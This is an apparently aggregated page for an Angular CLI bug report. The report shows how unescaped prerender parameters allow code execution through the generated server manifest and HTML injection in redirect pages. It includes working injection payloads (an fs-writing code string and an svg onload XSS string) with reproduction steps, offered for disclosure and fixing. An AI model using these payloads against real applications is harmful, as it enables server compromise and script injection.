Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages
Maintainer thường phản hồi trong vòng 1 ngày
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 53/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- angular, typescript
- Lĩnh vực
- build-system, security
Hướng nghiên cứu
Start by reading manifest.ts and utils.ts, where the issue shows values entering generated JavaScript and redirect HTML; trace how ng-routes.ts substitutes parameters into redirect URLs. Reproduce both cases from the linked proof of concept and add or run focused checks for the generated manifest and redirect page. Done means parameter values cannot execute code or inject markup in either output.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Command
build
Is this a regression?
- Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was
No response
Description
ng build writes the values returned by getPrerenderParams() into two generated files without escaping them:
- the server manifest (
angular-app-manifest.mjs), executable ESM that the SSR server imports; - the static redirect pages generated when prerendering.
Those values are documented as application data, usually read from a service:
const ids = await dataService.getIds();
return ids.map((id) => ({ id }));
So whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:
Value returned by getPrerenderParams() |
Result |
|---|---|
x'(){},[(function(){…})()](){},[`](){(' |
Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind. |
x"><svg onload=alert(1)> with outputMode: 'static' |
Injects markup into the generated redirect page: three <svg onload> elements per page. |
Server manifest. manifest.ts interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the import() specifier.
serverAssets[file.path] =
`{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;
// ...
.map(([key, value]) => `'${key}': ${value}`)
A lone ' breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:
'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},
node --check passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches routes: through JSON.stringify(), where it is inert.
Redirect pages. utils.ts builds the page without escaping:
<meta http-equiv="refresh" content="0; url=${url}">
<pre>Redirecting to <a href="${url}">${url}</a></pre>
For a relative redirectTo under a parameterized parent, ng-routes.ts substitutes the value intourl, so the markup reaches all three positions. In a template, {{ slug }} escapes the very same value correctly.
Minimal Reproduction
Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc.
There the values arrive over HTTP from the application's own API.
1. Code execution through the manifest (outputMode: 'server')
// app.routes.ts
export const routes: Routes = [{ path: 'product/:slug', component: App }];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: 'product/:slug',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [
{
slug: "x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('",
},
],
},
{ path: '**', renderMode: RenderMode.Prerender },
];
ng build
node --check dist/repro-app/server/angular-app-manifest.mjs
node dist/repro-app/server/server.mjs &
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4000/
ls PWNED.txt
Prerendered 1 static route.
Application bundle generation complete.
404
PWNED.txt
With slug: "customer's-choice" instead, the build is still green and every request returns 500.
2. HTML injection in the redirect page (outputMode: 'static')
// app.routes.ts
export const routes: Routes = [
{
path: 'go/:slug',
children: [
{ path: 'r', redirectTo: 'target' },
{ path: 'target', component: App },
],
},
];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: 'go/:slug',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [{ slug: 'x"><svg onload=alert(1)>' }],
},
{ path: '**', renderMode: RenderMode.Prerender },
];
dist/repro-app/browser/go/x"><svg onload=alert(1)>/r/index.html:
<meta http-equiv="refresh" content="0; url=/go/x"><svg onload=alert(1)>/target">
...
<pre>Redirecting to <a href="/go/x"><svg onload=alert(1)>/target">/go/x"><svg onload=alert(1)>/target</a></pre>
On Windows, ", < and > are not valid in a file name. With a parent that only redirects, such as { path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }, appending /../../safe to the value keeps the markup out of the file name but in the page. posix.join() collapses the dot segments for the output path, while joinUrlParts() keeps them in the target, so the page lands at go/safe/index.html and is served at /go/safe/.
Your Environment
Angular CLI 22.2.3
@angular/build 22.2.3
@angular/ssr 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
WSL Ubuntu
Anything else relevant?
No response
- Ngôn ngữ chính
- TypeScript
- Star
- 27k
- Fork
- 11.8k
- Merge trung bình
- 1 ngày 6 giờ
- Pull request đã merge (30 ngày)
- 224
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của angular/angular-cli
-
Can't use an array of hostnames in --allowedHosts cli parameter in @angular/build:dev-serverĐang mởarea: @angular/build gemini-triaged
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 74/100
angular/angular-cli#33955 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
area: @angular/cli gemini-triaged
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
angular/angular-cli#33055 · 1 bình luận · 3 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
`ng generate app-shell` and `ng generate module --route` produce broken imports when a component `type` is configuredCó thể đã có người làm @MeAkib đã nhận 2 ngày trước. Đang mởarea: @schematics/angular
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 35/100
angular/angular-cli#34449 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Tailwind CSS v4 classes in new or moved files are not picked up by ng serve until another rebuildCó thể đã có người làm @MeAkib đã nhận 2 ngày trước. Đang mởarea: @angular/build
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
angular/angular-cli#34446 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
unit-test builder (Vitest): key `fsModuleCache` on the served build output instead of forcing it offCó thể đã có người làm @jv3n đã nhận 2 ngày trước. Đang mởarea: @angular/build
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 20/100
angular/angular-cli#34443 ·
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của angular/angular-cli
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
Automattic/data-liberation-agent#953 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
README に GitHub の組織のバッジを足すĐang mởdocumentation
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 90/100
funmary-app/funmary#399 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
area:curator enhancement
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 74/100
CassioDalla/Scrinalia#150 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
status: needs-triage v1-bug-bash
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
a2ui-project/a2ui#3533 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
backend enhancement priority:P3
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
geolens-io/geolens#3310 ·
Maintainer thường phản hồi trong vòng 1 ngày